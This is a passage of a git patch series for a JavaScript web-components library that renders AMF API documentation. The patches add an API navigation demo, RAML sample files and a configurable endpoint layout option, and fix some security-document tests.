+
+  demoTemplate() {
+    const { loaded } = this;
+    return html`
+    <section class="documentation-section">
+      <h3>Interactive demo</h3>
+      <p>
+        This demo lets you preview the API summary document with various configuration options.
+      </p>
+
+      <div class="api-demo-content">
+        ${!loaded ? html`<p>Load an API model first.</p>` : this.loadedTemplate()}
+      </div>
+    </section>
+    `;
+  }
+
+  loadedTemplate() {
+    return html`
+    ${this.componentTemplate()}
+    `;
+  }
+
+  componentTemplate() {
+    const { demoStates, darkThemeActive, summary, filter, edit, layout } = this;
+    return html`
+    <arc-interactive-demo
+      .states="${demoStates}"
+      @state-changed="${this._demoStateHandler}"
+      ?dark="${darkThemeActive}"
+    >
+      <api-navigation
+        ?summary="${summary}"
+        ?edit="${edit}"
+        ?filter="${filter}"
+        .layout="${layout}"
+        @apinavigate="${this._navigationHandler}"
+        slot="content"
+      >
+      </api-navigation>
+
+      <label slot="options" id="mainOptionsLabel">Options</label>
+      <anypoint-checkbox
+        aria-describedby="mainOptionsLabel"
+        slot="options"
+        name="summary"
+        ?checked="${summary}"
+        @change="${this._toggleMainOption}"
+      >
+        Summary
+      </anypoint-checkbox>
+      <anypoint-checkbox
+        aria-describedby="mainOptionsLabel"
+        slot="options"
+        name="filter"
+        ?checked="${filter}"
+        @change="${this._toggleMainOption}"
+      >
+        Filter
+      </anypoint-checkbox>
+      <anypoint-checkbox
+        aria-describedby="mainOptionsLabel"
+        slot="options"
+        name="edit"
+        ?checked="${edit}"
+        @change="${this._toggleMainOption}"
+      >
+        Edit mode
+      </anypoint-checkbox>
+
+      <label slot="options" id="mainOptionsLabel">Layout</label>
+      <anypoint-radio-group slot="options" @select="${this._toggleLayoutOption}" attrForSelected="value" selectable="anypoint-radio-button">
+        <anypoint-radio-button name="layout" value="off">None</anypoint-radio-button>
+        <anypoint-radio-button name="layout" value="tree">Tree</anypoint-radio-button>
+        <anypoint-radio-button name="layout" value="natural">Natural</anypoint-radio-button>
+        <anypoint-radio-button name="layout" value="natural-sort">Natural (sorted)</anypoint-radio-button>
+      </anypoint-radio-group>
+    </arc-interactive-demo>
+    `;
+  }
+
+  _apiListTemplate() {
+    const result = [];
+    [
+      ['demo-api', 'Demo API'],
+      ['oauth1-fragment', 'OAuth 1 fragment'],
+      ['oauth2-fragment', 'OAuth 2 fragment'],
+      ['types-list', 'Types list issue'],
+      ['missing-endpoints', 'Missing endpoints issue'],
+      ['rearrange-api', 'Rearranged endpoints'],
+      ['simple-api', 'Simple API'],
+      ['api-keys', 'API key'],
+      ['oas-demo', 'OAS Demo API'],
+      ['oauth-flows', 'OAS OAuth Flow'],
+      ['oas-bearer', 'OAS Bearer'],
+      ['ext-docs', 'External docs'],
+      ['async-api', 'AsyncAPI'],
+      ['unordered-endpoints', 'Unordered endpoints API'],
+      ['google-drive-api', 'Google Drive'],
+      ['mocking-service', 'Lots of methods'],
+      ['no-endpoints', 'No endpoints!'],
+      ['APIC-449', 'APIC-449'],
+      ['APIC-554', 'APIC-554'],
+      ['APIC-554-ii', 'APIC-554-ii'],
+      ['APIC-641', 'APIC-641'],
+      ['APIC-711', 'A library'],
+      ['SE-19215', 'SE-19215'],
+    ].forEach(([file, label]) => {
+      result[result.length] = html`
+      <anypoint-item data-src="models/${file}-compact.json">${label}</anypoint-item>`;
+    });
+    return result;
+  }
+}
+const instance = new ComponentPage();
+instance.render();
diff --git a/demo/apis/types-list/exchange.json b/demo/apis/types-list/exchange.json
new file mode 100755
index 0000000..35188c7
--- /dev/null
+++ b/demo/apis/types-list/exchange.json
@@ -0,0 +1 @@
+{"name":"Types Test","classifier":"raml","tags":[],"main":"types-test.raml","groupId":"com.mulesoft.connectors","assetId":"types-test","version":"1.0.0","apiVersion":"v1"}
\ No newline at end of file
diff --git a/demo/apis/types-list/library.raml b/demo/apis/types-list/library.raml
new file mode 100755
index 0000000..d209ea1
--- /dev/null
+++ b/demo/apis/types-list/library.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 Library
+usage: This is a Library raml
+
+types: 
+  TypeFromLibray:
+    properties: 
+      age: number # this is the age property
\ No newline at end of file
diff --git a/demo/apis/types-list/typeFromDataTypeFile.raml b/demo/apis/types-list/typeFromDataTypeFile.raml
new file mode 100755
index 0000000..dad14f9
--- /dev/null
+++ b/demo/apis/types-list/typeFromDataTypeFile.raml
@@ -0,0 +1,6 @@
+#%RAML 1.0 DataType
+
+description: This is a type from a DataType raml
+properties: 
+  title: string # this is the title
+  price: number # this is the price
\ No newline at end of file
diff --git a/demo/apis/types-list/types-list.raml b/demo/apis/types-list/types-list.raml
new file mode 100755
index 0000000..3d6a57a
--- /dev/null
+++ b/demo/apis/types-list/types-list.raml
@@ -0,0 +1,38 @@
+#%RAML 1.0
+title: Types test
+version: v1
+mediaType: application/json
+
+uses: 
+  myLib: library.raml
+
+types:
+  MainFileType:
+    description: Type contained inside the main raml file
+    type: object
+    properties:
+      foo: string # Sample foo property
+      bar: string # Sample bar property
+  TypeFromDataTypeFile: !include typeFromDataTypeFile.raml
+
+/typeFromMainFileEndpoint:
+  post:
+    body: 
+      type: MainFileType
+    responses: 
+      200:
+
+/typeFromDataTypeEndpoint:
+  post:
+    body: 
+      type: TypeFromDataTypeFile
+    responses: 
+      200:
+
+/typeFromLibraryEndpoint:
+  post:
+    body: 
+      type: myLib.TypeFromLibray
+    responses: 
+      200:
+
diff --git a/demo/demo.css b/demo/demo.css
index 2a44245..4a069ba 100644
--- a/demo/demo.css
+++ b/demo/demo.css
@@ -25,6 +25,10 @@ body [role="main"].centered {
   margin: 20px;
 }
 
+[slot="options"] anypoint-radio-button {
+  display: block;
+}
+
 body.demo.styled {
   color: #000;
   --error-color: red;
diff --git a/demo/index.html b/demo/index.html
index 5b7468c..58c6c87 100644
--- a/demo/index.html
+++ b/demo/index.html
@@ -13,6 +13,8 @@ <h1>AMF graph API documentation</h1>
     <nav>
       <h2>Documentation viewers</h2>
       <dl>
+        <dt><a href="api-navigation.html">Api navigation</a></dt>
+        <dd>The main navigation view.</dd>
         <dt><a href="api-documentation.html">Api documentation</a></dt>
         <dd>The main element that renders the documentation from the current AMF model and navigation selection.</dd>
         <dt><a href="api-documentation-partial.html">Api documentation (partial model)</a></dt>
diff --git a/demo/model.mjs b/demo/model.mjs
index 7c4ffa4..b5a61e9 100644
--- a/demo/model.mjs
+++ b/demo/model.mjs
@@ -117,6 +117,7 @@ config.set('rearrange-api/rearrange-api.raml', { type: 'RAML 1.0' });
 config.set('simple-api/simple-api.raml', { type: 'RAML 1.0' });
 config.set('example-generator-api/example-generator-api.raml', { type: "RAML 1.0" });
 config.set('tracked-examples/tracked-to-linked.raml', { type: 'RAML 1.0' });
+config.set('types-list/types-list.raml', { type: 'RAML 1.0' });
 
 generator.generate(config, {
   dest: 'demo/models/',
diff --git a/src/elements/ApiNavigationElement.d.ts b/src/elements/ApiNavigationElement.d.ts
index ce41b6f..fc46496 100644
--- a/src/elements/ApiNavigationElement.d.ts
+++ b/src/elements/ApiNavigationElement.d.ts
@@ -1,7 +1,18 @@
 import { LitElement, TemplateResult, CSSResult } from 'lit-element';
 import { EventsTargetMixin } from '@anypoint-web-components/awc';
-import { ApiEndPointWithOperationsListItem, } from '../types';
-import { EndpointItem, OperationItem, DocumentationItem, NodeShapeItem, SecurityItem, SelectableMenuItem, EditableMenuItem, EditableMenuType, SchemaAddType } from '../types';
+import { 
+  ApiEndPointWithOperationsListItem,
+  EndpointItem, 
+  OperationItem, 
+  DocumentationItem, 
+  NodeShapeItem, 
+  SecurityItem, 
+  SelectableMenuItem, 
+  EditableMenuItem, 
+  SelectionType, 
+  SchemaAddType,
+  NavigationLayout,
+} from '../types';
 
 export declare const apiIdValue: unique symbol;
 export declare const isAsyncValue: unique symbol;
@@ -11,11 +22,14 @@ export declare const selectedValue: unique symbol;
 export declare const documentationsValue: unique symbol;
 export declare const schemasValue: unique symbol;
 export declare const securityValue: unique symbol;
+export declare const sourceEndpointsValue: unique symbol;
 export declare const endpointsValue: unique symbol;
+export declare const layoutValue: unique symbol;
 export declare const queryValue: unique symbol;
 export declare const openedEndpointsValue: unique symbol;
 export declare const queryApi: unique symbol;
 export declare const queryEndpoints: unique symbol;
+export declare const layoutEndpoints: unique symbol;
 export declare const queryDocumentations: unique symbol;
 export declare const querySchemas: unique symbol;
 export declare const querySecurity: unique symbol;
@@ -104,6 +118,7 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
   [queryingValue]: boolean;
   [abortControllerValue]?: AbortController;
   [endpointsValue]: EndpointItem[];
+  [sourceEndpointsValue]: ApiEndPointWithOperationsListItem[];
   [documentationsValue]: DocumentationItem[];
   [schemasValue]: NodeShapeItem[];
   [securityValue]: SecurityItem[];
@@ -247,13 +262,19 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
   indentSize: number;
   /** 
   * By default the endpoints are rendered one-by-one as defined in the API spec file
-  * without any tree structure. When this option is set it sorts the endpoints 
-  * alphabetically and creates a tree structure for the endpoints.
+  * without any transformation. Set this option to sort the 
+  * When this option is set it re-arrange the endpoints to the one of specified layout options.
+  * 
+  * - tree - creates a tree structure from the endpoints list
+  * - natural - behavior consistent with the previous version of the navigation. Creates a tree structure based on the previous endpoints.
+  * - natural-sort - as `natural` but endpoints are sorted by name.
+  * - off (or none) - just like in the API spec.
+  * 
   * Note, the resulted tree structure will likely be different to the one encoded 
   * in the API spec file.
   * @attribute
   */
-  sort: boolean;
+  layout: NavigationLayout;
   /** 
   * When set it renders an input to filter the menu items.
   * @attribute
@@ -313,6 +334,10 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
   [querySecurity](signal: AbortSignal): Promise<void>;
 
   [createFlatTreeItems](items: ApiEndPointWithOperationsListItem[]): EndpointItem[];
+  /**
+   * Processes endpoints layout for the given configuration.
+   */
+  [layoutEndpoints](): void;
 
   /**
    * Filters the current endpoints by the current query value.
@@ -617,7 +642,7 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
    * @param type The object type
    * @returns A promise when the update operation finish.
    */
-  [updateNameHandler](id: string, value: string, type: EditableMenuType): Promise<void>;
+  [updateNameHandler](id: string, value: string, type: SelectionType): Promise<void>;
 
   /**
    * Click handler for the external navigation item.
@@ -712,5 +737,5 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
    * @param type
    * @returns The template for the rename input. 
    */
-  [renameInputTemplate](id: string, label: string, type: EditableMenuType): TemplateResult;
+  [renameInputTemplate](id: string, label: string, type: SelectionType): TemplateResult;
 }
diff --git a/src/elements/ApiNavigationElement.js b/src/elements/ApiNavigationElement.js
index 9f2629a..007d93a 100644
--- a/src/elements/ApiNavigationElement.js
+++ b/src/elements/ApiNavigationElement.js
@@ -13,8 +13,9 @@ import '@anypoint-web-components/awc/anypoint-collapse.js';
 import '@advanced-rest-client/icons/arc-icon.js';
 import navStyles from './styles/NavStyles.js';
 import { ns } from '../helpers/Namespace.js';
-import { ApiSorting } from '../lib/ApiSorting.js';
-import { EndpointsTree } from '../lib/EndpointsTree.js';
+import { ApiSorting } from '../lib/navigation-layout/ApiSorting.js';
+import { EndpointsTree } from '../lib/navigation-layout/EndpointsTree.js';
+import { NaturalTree } from '../lib/navigation-layout/NaturalTree.js';
 import { EventTypes } from '../events/EventTypes.js';
 import { Events } from '../events/Events.js';
 import { cancelEvent } from '../lib/Utils.js'
@@ -37,6 +38,7 @@ import { cancelEvent } from '../lib/Utils.js'
 /** @typedef {import('../types').SchemaAddType} SchemaAddType */
 /** @typedef {import('../types').SelectionType} SelectionType */
 /** @typedef {import('../types').DocumentMeta} DocumentMeta */
+/** @typedef {import('../types').NavigationLayout} NavigationLayout */
 
 export const queryingValue = Symbol('queryingValue');
 export const abortControllerValue = Symbol('abortControllerValue');
@@ -44,11 +46,14 @@ export const selectedValue = Symbol('selectedValue');
 export const documentationsValue = Symbol('documentationsValue');
 export const schemasValue = Symbol('schemasValue');
 export const securityValue = Symbol('securityValue');
+export const sourceEndpointsValue = Symbol('sourceEndpointsValue');
 export const endpointsValue = Symbol('endpointsValue');
-export const queryValue = Symbol('queryValue');
 export const openedEndpointsValue = Symbol('openedEndpointsValue');
+export const layoutValue = Symbol('layoutValue');
+export const queryValue = Symbol('queryValue');
 export const queryApi = Symbol('queryApi');
 export const queryEndpoints = Symbol('queryEndpoints');
+export const layoutEndpoints = Symbol('processEndpoints');
 export const queryDocumentations = Symbol('queryDocumentations');
 export const querySchemas = Symbol('querySchemas');
 export const querySecurity = Symbol('querySecurity');
@@ -233,6 +238,22 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
     return this[documentMetaValue];
   }
 
+  /** @returns {NavigationLayout} */
+  get layout() {
+    return this[layoutValue];
+  }
+
+  /** @param {NavigationLayout} value */
+  set layout(value) {
+    const old = this[layoutValue];
+    if (old === value) {
+      return;
+    }
+    this[layoutValue] = value;
+    this[layoutEndpoints]();
+    this.requestUpdate('layout', old);
+  }
+
   static get properties() {
     return {
       /** 
@@ -301,10 +322,16 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
        * By default the endpoints are rendered one-by-one as defined in the API spec file
        * without any tree structure. When this option is set it sorts the endpoints 
        * alphabetically and creates a tree structure for the endpoints.
+       * 
+       * - tree - creates a tree structure from the endpoints list
+       * - natural - behavior consistent with the previous version of the navigation. Creates a tree structure based on the previous endpoints.
+       * - natural-sort - as `natural` but endpoints are sorted by name.
+       * - off (or none) - just like in the API spec.
+       * 
        * Note, the resulted tree structure will likely be different to the one encoded 
        * in the API spec file.
        */
-      sort: { type: Boolean, reflect: true, },
+      layout: { type: String, reflect: true, },
       /** 
        * When set it renders an input to filter the menu items.
        */
@@ -324,17 +351,14 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
 
   constructor() {
     super();
-
     this.summaryLabel = 'Summary';
     this.summary = false;
     this.anypoint = false;
-    this.sort = false;
     this.indentSize = 8;
     this.endpointsOpened = false;
     this.documentationsOpened = false;
     this.schemasOpened = false;
     this.securityOpened = false;
-    this.customPropertiesOpened = false;
     this.filter = false;
     this.edit = false;
     this.manualQuery = false;
@@ -443,6 +467,9 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
     await this[queryDocumentations](ctrl.signal);
     await this[querySchemas](ctrl.signal);
     await this[querySecurity](ctrl.signal);
+    if (!ctrl.signal.aborted) {
+      this[layoutEndpoints]();
+    }
     this[queryingValue] = false;
     this[abortControllerValue] = undefined;
     this[openedEndpointsValue] = [];
@@ -477,8 +504,6 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
     if (signal.aborted) {
       return;
     }
-    const { sort } = this;
-    this[endpointsValue] = undefined;
     try {
       const result = await Events.Endpoint.list(this);
       if (signal.aborted) {
@@ -487,14 +512,9 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
       if (!result) {
         return;
       }
-      if (sort) {
-        const sorted = ApiSorting.sortEndpointsByPath(result);
-        const items = new EndpointsTree().create(sorted);
-        this[endpointsValue] = items;
-      } else {
-        this[endpointsValue] = this[createFlatTreeItems](result);
-      }
+      this[sourceEndpointsValue] = result;
     } catch (e) {
+      this[sourceEndpointsValue] = undefined;
       Events.Telemetry.exception(this, e.message, false);
       Events.Reporting.error(this, e, `Enable to query for Endpoints data: ${e.message}`, this.localName);
     }
@@ -580,6 +600,37 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
     }));
   }
 
+  /**
+   * Processes endpoints layout for the given configuration.
+   */
+  [layoutEndpoints]() {
+    const { layout } = this;
+    const endpoints = this[sourceEndpointsValue];
+    if (!endpoints) {
+      this[endpointsValue] = undefined;
+      return;
+    }
+    if (layout === 'tree') {
+      const sorted = ApiSorting.sortEndpointsByPath([...endpoints]);
+      const items = new EndpointsTree().create(sorted);
+      this[endpointsValue] = items;
+      return;
+    }
+    if (layout === 'natural') {
+      this[endpointsValue] = new NaturalTree().create(endpoints);
+      return;
+    }
+    if (layout === 'natural-sort') {
+      const sorted = /** @type ApiEndPointWithOperationsListItem[] */ (ApiSorting.sortEndpointsByPath([...endpoints]));
+      this[endpointsValue] = new NaturalTree().create(sorted);
+      return;
+    }
+    //
+    // Default layout
+    //
+    this[endpointsValue] = this[createFlatTreeItems](endpoints);
+  }
+
   /**
    * Filters the current endpoints by the current query value.
    * @returns {EndpointItem[]|undefined} 
diff --git a/src/elements/ApiNavigationLegacyElement.d.ts b/src/elements/ApiNavigationLegacyElement.d.ts
index 064d4cb..e07f3b9 100644
--- a/src/elements/ApiNavigationLegacyElement.d.ts
+++ b/src/elements/ApiNavigationLegacyElement.d.ts
@@ -1,7 +1,48 @@
 import {LitElement, TemplateResult} from 'lit-element';
 import { AmfHelperMixin } from '../helpers/AmfHelperMixin';
 import { EndPoint } from '../helpers/amf';
-import { MethodItem, EndpointItem, SecurityItem, TypeItem, DocumentationItem, TargetModel, NavigationItem, SelectionType } from '../types';
+import { SelectionType } from '../types';
+
+export declare interface NavigationItem {
+  label: string;
+  id: string;
+}
+
+export declare interface MethodItem extends NavigationItem {
+  method: string;
+}
+
+export declare interface EndpointItem extends NavigationItem {
+  path: string;
+  renderPath: boolean;
+  indent: number;
+  methods: MethodItem[];
+}
+
+export declare interface SecurityItem extends NavigationItem {}
+
+export declare interface TypeItem extends NavigationItem {}
+
+export declare interface DocumentationItem extends NavigationItem {
+  /**
+   * When set the documentation item refers to an external document
+   */
+  isExternal: boolean;
+  /**
+   * Only set when `isExternal` equals `true`.
+   * An URL for the external documentation.
+   */
+  url?: string;
+}
+
+export declare interface TargetModel {
+  documentation?: DocumentationItem[];
+  types?: TypeItem[];
+  securitySchemes?: SecurityItem[];
+  endpoints?: EndpointItem[];
+  _typeIds?: string[];
+  _basePaths?: string[];
+}
 
 export const collectData: unique symbol;
 export const queryValue: unique symbol;
diff --git a/src/elements/ApiNavigationLegacyElement.js b/src/elements/ApiNavigationLegacyElement.js
index ba20649..8488437 100644
--- a/src/elements/ApiNavigationLegacyElement.js
+++ b/src/elements/ApiNavigationLegacyElement.js
@@ -19,13 +19,13 @@ import { NavigationEvents } from '../events/NavigationEvents.js';
 
 /** @typedef {import('@anypoint-web-components/awc').AnypointCollapseElement} AnypointCollapseElement */
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('../types').MethodItem} MethodItem */
-/** @typedef {import('../types').EndpointItem} EndpointItem */
-/** @typedef {import('../types').SecurityItem} SecurityItem */
-/** @typedef {import('../types').TypeItem} TypeItem */
-/** @typedef {import('../types').DocumentationItem} DocumentationItem */
-/** @typedef {import('../types').TargetModel} TargetModel */
-/** @typedef {import('../types').NavigationItem} NavigationItem */
+/** @typedef {import('./ApiNavigationLegacyElement').MethodItem} MethodItem */
+/** @typedef {import('./ApiNavigationLegacyElement').EndpointItem} EndpointItem */
+/** @typedef {import('./ApiNavigationLegacyElement').SecurityItem} SecurityItem */
+/** @typedef {import('./ApiNavigationLegacyElement').TypeItem} TypeItem */
+/** @typedef {import('./ApiNavigationLegacyElement').DocumentationItem} DocumentationItem */
+/** @typedef {import('./ApiNavigationLegacyElement').TargetModel} TargetModel */
+/** @typedef {import('./ApiNavigationLegacyElement').NavigationItem} NavigationItem */
 /** @typedef {import('../types').SelectionType} SelectionType */
 /** @typedef {import('../helpers/amf').EndPoint} EndPoint */
 /** @typedef {import('../helpers/amf').AmfDocument} AmfDocument */
diff --git a/src/lib/ApiSorting.d.ts b/src/lib/navigation-layout/ApiSorting.d.ts
similarity index 75%
rename from src/lib/ApiSorting.d.ts
rename to src/lib/navigation-layout/ApiSorting.d.ts
index 6b943bc..0625cb8 100644
--- a/src/lib/ApiSorting.d.ts
+++ b/src/lib/navigation-layout/ApiSorting.d.ts
@@ -1,4 +1,4 @@
-import { ApiEndPointListItem } from "../types";
+import { ApiEndPointListItem } from "../../types";
 
 export declare class ApiSorting {
   /**
diff --git a/src/lib/ApiSorting.js b/src/lib/navigation-layout/ApiSorting.js
similarity index 82%
rename from src/lib/ApiSorting.js
rename to src/lib/navigation-layout/ApiSorting.js
index 924616d..eec1741 100644
--- a/src/lib/ApiSorting.js
+++ b/src/lib/navigation-layout/ApiSorting.js
@@ -1,4 +1,4 @@
-/** @typedef {import('../types').ApiEndPointListItem} ApiEndPointListItem */
+/** @typedef {import('../../types').ApiEndPointListItem} ApiEndPointListItem */
 
 export class ApiSorting {
   /**
diff --git a/src/lib/EndpointsTree.d.ts b/src/lib/navigation-layout/EndpointsTree.d.ts
similarity index 93%
rename from src/lib/EndpointsTree.d.ts
rename to src/lib/navigation-layout/EndpointsTree.d.ts
index 61d8664..e731e5e 100644
--- a/src/lib/EndpointsTree.d.ts
+++ b/src/lib/navigation-layout/EndpointsTree.d.ts
@@ -1,4 +1,4 @@
-import { ApiEndPointListItem, ApiEndpointsTreeItem } from "../types";
+import { ApiEndPointListItem, ApiEndpointsTreeItem } from "../../types";
 
 export interface CommonRootInfo {
   index: number;
diff --git a/src/lib/EndpointsTree.js b/src/lib/navigation-layout/EndpointsTree.js
similarity index 97%
rename from src/lib/EndpointsTree.js
rename to src/lib/navigation-layout/EndpointsTree.js
index 6b62f28..bb1acb3 100644
--- a/src/lib/EndpointsTree.js
+++ b/src/lib/navigation-layout/EndpointsTree.js
@@ -2,8 +2,8 @@
 /* eslint-disable no-continue */
 /* eslint-disable no-plusplus */
 /* eslint-disable class-methods-use-this */
-/** @typedef {import('../types').ApiEndPointListItem} ApiEndPointListItem */
-/** @typedef {import('../types').ApiEndpointsTreeItem} ApiEndpointsTreeItem */
+/** @typedef {import('../../types').ApiEndPointListItem} ApiEndPointListItem */
+/** @typedef {import('../../types').ApiEndpointsTreeItem} ApiEndpointsTreeItem */
 /** @typedef {import('./EndpointsTree').CommonRootInfo} CommonRootInfo */
 
 /**
diff --git a/src/lib/navigation-layout/NaturalTree.js b/src/lib/navigation-layout/NaturalTree.js
new file mode 100644
index 0000000..6d85062
--- /dev/null
+++ b/src/lib/navigation-layout/NaturalTree.js
@@ -0,0 +1,81 @@
+/* eslint-disable class-methods-use-this */
+/* eslint-disable no-plusplus */
+/** @typedef {import('../../types').ApiEndPointWithOperationsListItem} ApiEndPointWithOperationsListItem */
+/** @typedef {import('../../types').ApiEndpointsTreeItem} ApiEndpointsTreeItem */
+
+/**
+ * A class that transforms the list of endpoints and methods into
+ * a "natural" tree structure with indentation.
+ * This is consistent with the legacy API navigation element sorting.
+ */
+export class NaturalTree {
+  constructor() {
+    /** 
+     * @type ApiEndpointsTreeItem[] 
+     */
+    this.result = [];
+    /** @type string[] */
+    this.basePaths = [];
+  }
+
+  /**
+   * @param {ApiEndPointWithOperationsListItem[]} list The list of endpoints as they appear in the API.
+   * @returns {ApiEndpointsTreeItem[]}
+   */
+  create(list) {
+    list.forEach((item) => this.appendEndpointItem(item));
+    return this.result;
+  }
+
+  /**
+   * @param {ApiEndPointWithOperationsListItem} item
+   */
+  appendEndpointItem(item) {
+    const { path, name, id, operations,  } = item;
+    const result = /** @type ApiEndpointsTreeItem */ ({
+      path,
+      label: this.prepareLabel(item),
+      name,
+      id,
+      indent: 0,
+      operations,
+      hasChildren: false,
+      hasShortPath: false,
+    });
+
+    let tmpPath = path;
+    if (tmpPath[0] === '/') {
+      tmpPath = tmpPath.substr(1);
+    }
+    const parts = tmpPath.split('/');
+    let indent = 0;
+    this.basePaths.push(path);
+
+    if (parts.length > 1 /* && !this.renderFullPaths */) {
+      const lowerParts = parts.slice(0, parts.length - 1);
+      if (lowerParts.length) {
+        for (let i = lowerParts.length - 1; i >= 0; i--) {
+          const currentPath = `/${lowerParts.slice(0, i + 1).join('/')}`;
+          const previousBasePathItem = this.basePaths[this.basePaths.length - 2];
+          if (previousBasePathItem && (previousBasePathItem === currentPath || previousBasePathItem.startsWith(`${currentPath}/`))) {
+            indent++;
+          }
+        }
+      }
+    }
+    result.indent = indent;
+    this.result.push(result);
+  }
+
+  /**
+   * @param {ApiEndPointWithOperationsListItem} item
+   * @returns {string} 
+   */
+  prepareLabel(item) {
+    const { path, name, } = item;
+    if (name) {
+      return name;
+    }
+    return path || 'Unknown path';
+  }
+}
diff --git a/src/types.d.ts b/src/types.d.ts
index ff166be..4f5ffeb 100644
--- a/src/types.d.ts
+++ b/src/types.d.ts
@@ -198,6 +198,15 @@ export declare interface UpdateServersOptions {
  */
 export type ServerType = 'server' | 'custom' | 'extra';
 export type SelectionType = 'summary' | 'resource' | 'operation' | 'schema' | 'security' | 'documentation';
+/**
+ * API navigation layout options.
+ * 
+ * - tree - creates a tree structure from the endpoints list
+ * - natural - behavior consistent with the previous version of the navigation. Creates a tree structure based on the previous endpoints.
+ * - natural-sort - as `natural` but endpoints are sorted by name.
+ * - off (or none) - just like in the API spec.
+ */
+export type NavigationLayout = 'tree' | 'natural' | 'natural-sort' | 'off';
 
 interface SelectableMenuItem {
   /**

From 6fb7ff8c082484756c4346e279628d61de5f1389 Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Sat, 23 Oct 2021 13:44:31 -0700
Subject: [PATCH 35/36] fix: fixing security tests

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 demo/api-security-documentation.js               | 2 +-
 src/elements/ApiSecurityDocumentElement.js       | 4 +++-
 test/elements/ApiSecurityDocumentElement.test.js | 2 +-
 web-test-runner.config.mjs                       | 2 +-
 4 files changed, 6 insertions(+), 4 deletions(-)

diff --git a/demo/api-security-documentation.js b/demo/api-security-documentation.js
index 039bcc4..109faaf 100644
--- a/demo/api-security-documentation.js
+++ b/demo/api-security-documentation.js
@@ -103,7 +103,7 @@ class ComponentPage extends AmfDemoBase {
       ['oauth-pkce', 'OAuth 2 PKCE'],
       ['secured-unions', 'Secured unions'],
       ['secured-api', 'Secured API'],
-      ['security-api', 'api-security-documentation API'],
+      ['security-api', 'security-api API'],
     ].forEach(([file, label]) => {
       result[result.length] = html`
       <anypoint-item data-src="models/${file}-compact.json">${label}</anypoint-item>`;
diff --git a/src/elements/ApiSecurityDocumentElement.js b/src/elements/ApiSecurityDocumentElement.js
index ef9f928..83d1fcd 100644
--- a/src/elements/ApiSecurityDocumentElement.js
+++ b/src/elements/ApiSecurityDocumentElement.js
@@ -122,6 +122,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
     }
     this[securityValue] = value;
     this[processSecurity]();
+    this[processQueryParameters]();
     this.requestUpdate();
   }
 
@@ -151,7 +152,8 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
   async processGraph() {
     await this[querySecurity]();
     await this[processQueryParameters]();
-    this.requestUpdate();
+    this.dispatchEvent(new Event('graphload'));
+    await this.requestUpdate();
   }
 
   /**
diff --git a/test/elements/ApiSecurityDocumentElement.test.js b/test/elements/ApiSecurityDocumentElement.test.js
index 9fa407f..92bfd4a 100644
--- a/test/elements/ApiSecurityDocumentElement.test.js
+++ b/test/elements/ApiSecurityDocumentElement.test.js
@@ -21,7 +21,7 @@ describe('ApiSecurityDocumentElement', () => {
    */
   async function amfModelFixture(shape) {
     const element = await fixture(html`<api-security-document 
-      .queryDebouncerTimeout="${0}"
+      .queryDebouncerTimeout="${1}"
       .securityScheme="${shape}"
     ></api-security-document>`);
     await aTimeout(2);
diff --git a/web-test-runner.config.mjs b/web-test-runner.config.mjs
index 88063ba..623006a 100644
--- a/web-test-runner.config.mjs
+++ b/web-test-runner.config.mjs
@@ -1,7 +1,7 @@
 export default {
   files: 'test/**/*.test.js',
   // files: 'test/navigation/*.test.js',
-  // files: 'test/http-request/ApiRequestEditorElement.test.js',
+  // files: 'test/elements/ApiSecurityDocumentElement.test.js',
   // files: [
   //   'test/elements/ApiSecurityRequirementDocumentElement.test.js',
   //   'test/elements/ApiOperationDocumentElement.test.js',

From 6e480d19ab73fe4102938d7c3af8229f7ad8eaf0 Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Sat, 23 Oct 2021 21:47:07 -0700
Subject: [PATCH 36/36] chore: finishing the navigation

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 .vscode/settings.json                         |    1 +
 demo/api-navigation.js                        |   28 +-
 demo/apis/streetlights/streetlights.yaml      |  215 ++
 demo/model.mjs                                |    1 +
 index.d.ts                                    |    3 +
 index.js                                      |    4 +-
 package-lock.json                             |   81 +-
 package.json                                  |    5 +-
 src/elements/ApiNavigationElement.d.ts        |   39 +-
 src/elements/ApiNavigationElement.js          |  110 +-
 src/lib/navigation-layout/EndpointsTree.js    |    1 +
 src/lib/navigation-layout/NaturalTree.js      |   39 +-
 src/plugins/NavigationCommands.d.ts           |    4 +
 src/plugins/NavigationCommands.js             |   39 +
 src/plugins/NavigationContextMenu.d.ts        |   16 +
 src/plugins/NavigationContextMenu.js          |   42 +
 .../ApiNavigationLegacyElement.test.js        | 1643 +++++++++++
 .../amf-model.test.js                         |   10 +-
 .../documentation-fragment.test.js            |   76 +
 .../oas-external-docs.test.js                 |   10 +-
 .../oas-security.test.js                      |   10 +-
 .../security-fragment.test.js                 |   78 +
 test/legacy-navigation/type-fragment.test.js  |   78 +
 test/navigation/ApiNavigationElement.test.js  | 2584 ++++++++---------
 .../navigation/documentation-fragment.test.js |   54 +-
 test/navigation/security-fragment.test.js     |   60 +-
 test/navigation/type-fragment.test.js         |   66 +-
 web-test-runner.config.mjs                    |    4 +-
 28 files changed, 3789 insertions(+), 1512 deletions(-)
 create mode 100644 demo/apis/streetlights/streetlights.yaml
 create mode 100644 src/plugins/NavigationCommands.d.ts
 create mode 100644 src/plugins/NavigationCommands.js
 create mode 100644 src/plugins/NavigationContextMenu.d.ts
 create mode 100644 src/plugins/NavigationContextMenu.js
 create mode 100644 test/legacy-navigation/ApiNavigationLegacyElement.test.js
